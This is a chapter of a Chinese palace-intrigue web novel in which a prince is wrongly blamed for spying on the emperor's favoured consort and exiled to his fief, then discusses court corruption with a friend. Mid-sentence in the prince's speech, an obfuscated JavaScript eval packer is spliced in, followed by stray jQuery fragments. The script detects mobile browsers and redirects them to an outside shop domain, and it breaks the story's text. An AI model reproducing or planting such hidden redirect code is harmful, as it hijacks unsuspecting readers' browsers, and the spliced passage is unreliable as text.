巍峨殿宇,重檐叠角之下,是看似广阔,实则狭窄、规矩森严的后宫。
女子一旦入了这宫中,便如被困囚徒,一辈子锦衣玉食地困在这一方天地之中。
许崇景每次跨入这清冷的院落,总觉得空气都比外头更凉些。院子里没种什么鲜艳的花草,却栽植了一丛修竹,院中一棵大樟树的枝叶遮去了大半院落,更显幽深。
他招来院中管事太监骂道:“树都快揭房顶了,不知道修修啊?!”
管事太监无奈哭道:“娘娘不让修……”
“这夏天早都过了,冬天还不修?这树叶挡着,连个太阳都见不着,没见着廊檐地下都阴出青苔了?修!今天就修,正好我在这里看着你们修!”
“阿元,休得口出狂言,这是在宫里,不是在你的王府。”
一名身穿家常淡紫色细绢直裾外搭白狐裘短褥的中年女子走到廊下,嗔怪道,“每次你来都不安生,下回还是不要来了的好,我也落得清净。”
“阿母,”许崇景笑嘻嘻地朝前大步迈了几步,站在檐下讨好说,“您真舍得我不来,那我下回就真不来了。”
夏婉卿越过他的肩往外看了看,道:“你一个人来的?”
许崇景知道他母亲的意思,忙招手让亲随拿了个食盒过来:“您喜欢的香饵肆的糕饼,我一早去亲自去排队买来的。”
夏婉卿斜了他一眼,转过身往殿内走:“你就跟我装糊涂,你知道我的意思,你和兰漪这些年了,还没培养出感情来呢?”
许崇景伸手挥退了服侍的人,待屋内只剩贴身心腹了,他才皮笑肉不笑地说:“您和父皇更多年了,不也没培养出感情么。”
夏婉卿一噎,坐下后白了自己吊儿郎当的儿子一眼:“你父皇眼里心里都没我,你心里眼里也没有兰漪?”
知道儿子要入宫,厅内早已摆了一桌子席面,可原本应该是带着王妃来的人却自己两袖空空的来了,叫人看了难免生气。
夏婉卿跟儿子大眼瞪小眼地瞪了好一会儿,她才深深叹口气:“罢了,你们的事我也不管了,你就这么自欺欺人地过吧。来人,摆饭。”
失望归失望,自从许崇景被发配去军中历练,她已有半年没见过儿子了,不免盯着多看了几眼。
“黑了,也瘦了。”
“去了军中哪有不黑的,”许崇景吃着菜答她,“回头白生生地去见了父皇,还要遭斥责。”
夏婉卿出身军武之家,晓得在军中的辛苦,也晓得身为男儿,去战场上建功立业是他的使命。他注定与帝位无缘,但陛下肯让他去历练,也是另一种看重。
“是,你最辛苦,只要不是出去花天酒地,去军中好好历练出来的,都是你的本事……”
“哼,他的本事可大了!”夏婉卿话刚说一半,被突然出现的皇帝的声打断。
那话语气听着不对劲,母子二人纷纷下拜行礼,皇帝进来以后便伸脚踹向许崇景,许崇景歪歪倒地之后,他气冲冲地一甩长袖斥退了所有人。
大官宦将夏贵人宫里的人都遣得远远站着,所有人都诚惶诚恐地去外面院子里跪着,面面相觑,不知里面发生了什么。
关上门,皇帝站到堂前怒目而喝道:“不过才去了军营半年,就养出你的狼子野心来了?!什么事都敢去做!”
皇帝年逾四十,是一副温和斯文的长相,不似许崇景这般高大,但多年的帝王之气淫浸下,生气起来气势也是令人心惊的。
夏婉卿不知道许崇景做了什么,惊疑看过去时,许崇景也蹙眉抬头,不解地问道:“父皇,这是什么意思?”
“哼,你做的好事你还敢问什么意思?我且问你,是不是你找人去了宋贵人老家调查她的过往?好大的胆子,主意打到她的头上去了,究竟是朕太过纵容了你,滋养了你的野心竟叫你生出如此不臣之心吗?!”
许崇景目露疑惑:“什么?”
皇帝见他如此,更为气愤地用手点他:“还装!朕都已经查实了,你派去的人也已经交代了,你们母子……”他手指又点向夏婉卿,“好得很,我原以为你们是恭顺的,还叫你去军营历练,希望你能成才,将来做个辅佐新帝的肱骨之臣,谁知道你转过头就开始使手段,既如此,你也不必回去军营了,滚去你的封地吧!”
许崇景心头一震,但已听明白了皇帝话里的意思,他怒而起身:“不论父皇丛哪里查实了什么,儿臣什么都没做,也不接受这盆脏水!您让指控儿臣的人到我跟前来,我与他对质!”
许崇景像他外祖父,生得高大,一站起来竟比皇帝高过半个头去,那气势压得皇帝眸色微微一凛,夏婉卿见状忙将人死命往下扯:“阿元,你疯了不成,跪下好好说话!”
许崇景被重新扯着跪了下来,夏婉卿想开口缓和气氛,但刚说了“陛下”两个字,皇帝已经气得向她撒火:“这就是你教出来的好儿子!你们夏家好大的面子!”
夏婉卿忙俯身:“陛下息怒……”
她生性聪慧,即刻也已明白皇帝那些话的意思,语气诚恳而温柔道:“陛下,您知道臣妾的,我生性淡泊,从来就无意高位,妾也一直是这么教导阿元的,您说的那些事,会不会是误会……还请您让阿元分辩一二吧,他从来无二心,怎么会去调查宋贵人的过往呢……”
皇帝深深吸了一口气:“不必了,此事我并不想闹大,所以才会到这里来私下警告他。不管是他自己做的也好,还是有人想巴结他替他做的也好,在新帝登基之前,他都不要呆在京城了,军营更是不用去了,你替他收拾收拾,走吧。”
许崇景:“……”
夏婉卿:“……”
--
沛王被贬去封地的消息很快传入冯喻安耳中,他将沛王约到了酒肆,两人坐在雅阁内苦中作乐。
听沛王转述皇帝说的那些话,冯喻安沉默了——完了,自己去调查宋清瑶那事,暴露了。
而且对方将计就计,将此事闹大,当作一盆脏水兜头泼到了沛王的头上。
他看了眼垂头丧气白白遭受了无妄之灾的沛王,摩挲着手中茶杯,思索着要不要把自己查到的线索告知沛王。
但此事关系体大,在有确切证据之前,告诉他也没什么用,反而可能生出其他波折。
也好,这种节骨眼上,沛王出都城,未必不是件好事。
冯喻安试探道:“那所谓的抓起来的你派出去查宋清瑶的人,怕是对方安排的,只要细审,就能审出漏洞。”
许崇景苦笑,端起酒杯意味深长地看了眼冯喻安:“你以为我父皇不知道要细审?他是为了我才不肯细审的吗?他偏宠那对母子,皇位也是铁定要交到那位手上才觉得圆满的,才能圆了他情深不寿的设定。”
“说实话,若非我是他偏宠之外的儿子,我真挺佩服他的,后宫这么多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656069|206970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女人,他偏偏只爱那么一个,恨不得将这后宫统统裁撤了,只留他们一家三口才好。”
冯喻安不知该说什么好,只好端起酒杯抿了口。
许崇景道:“可他是皇帝啊,他必须娶很多的女子,必须传宗接代,从这一点来看,他也挺可怜的,不能由着自己心意来,必须权衡诸方势力塞给他的女人,各个都要顾着。所以你说,那位子有什么好的?绝对的自由?分明是枷锁,他却想让他最爱的儿子坐上去,再被困一辈子,呵,可笑,给他,我不稀罕,我去当我一方闲散王爷岂不快活?”
冯喻安欲言又止,终于还是看着许崇景认真道:“可若他选中的那位,并不适合执掌天下呢?”
许崇景凤眸一滞。
“你我都知道那位究竟是个什么样的人,若他执印……”
“你想说什么?”许崇景神色微冷。
冯喻安淡定端起酒杯,面无表情地问道:“王爷,你觉得,如今大梁朝局如何?”
许崇景当即冷笑一声摆摆手:“少跟我扯这些,跟我没关系。”
冯喻安的声音平淡无波,继续往下说:“八年前我父亲虽然收回了陵州,可那一场仗却耗空了国库,后来,全国各地四处遭灾,国库怕是到现在都还没缓过劲,户部空虚,管账的只能提议往下加征赋税,陛下并不在意这些,一并应允了。”
“然而这些赋税层层下加,朝廷收上来的却不过三成,其余的,都被蠹虫吃干抹净了。”
“这些年,我所过之处,没有一处太平。官商勾结,冤案频发……如今虽看不出端倪,可这些事情好比暗疮,埋在底下等着爆发,只因咱们陛下是仁君,他希望维持表面的和平,所以没人敢提。”
“他不喜欢杀戮,不喜欢见血…可这么大一个朝廷,大家都高兴地过着,流血的,就只有底下的百姓了。”
许崇景冷眼瞥过来,依旧吊儿郎当的样子:“许仲宁,你说了这么多大道理,可你现在自己都管不了自己,被人害得病秧子一个,如今像个闲散甩手掌柜单剩一张嘴,难道处理那什么暗疮是凭你一张嘴就能做出来的?你说这么多给我听做什么,我还能有办法不成?”
冯喻安一双星眸温柔地看着许崇景,是啊,他是最有可能改变这一切的人,但是,这条路好难走。该不该拉他下来走呢?他又愿意走吗?
此时,雅阁之外,说书的俳优将手中鼓点敲出了排山倒海的气势,好似浪涛咆哮而至,转瞬,却又戛然而止。
紧接着,外面响起铺天盖地的掌声与叫好声。
冯喻安微微偏头看向外头,他略一蹙眉,这外头,似乎有个略显熟悉的声音?
--
孟绾是来蹲陈义的,冯喻安将打探来的消息汇总以后给了她一份,得知对方喜欢看戏,孟绾便迫不及待地跟来看看故人。
她打扮得朴素,在二楼要了个倚栏的雅座,这里正好可以看清对面雅座上坐着的人,以及他周遭的侍卫。
多年不见,陈义此人没什么变化,不胖不瘦的,就是气度修得更加沉稳,更儒雅了些。
孟绾扔掉手里的葵花壳,冷眼看着那人模狗样的人,恨不得立刻举起弩箭对准其眉心将其扎穿。
只不过,她现在已经没有立刻杀他的快感。
好像即便豁出命去杀了他,心里那点不甘也无法消解了。
都怪冯喻安,非要提什么刽子手。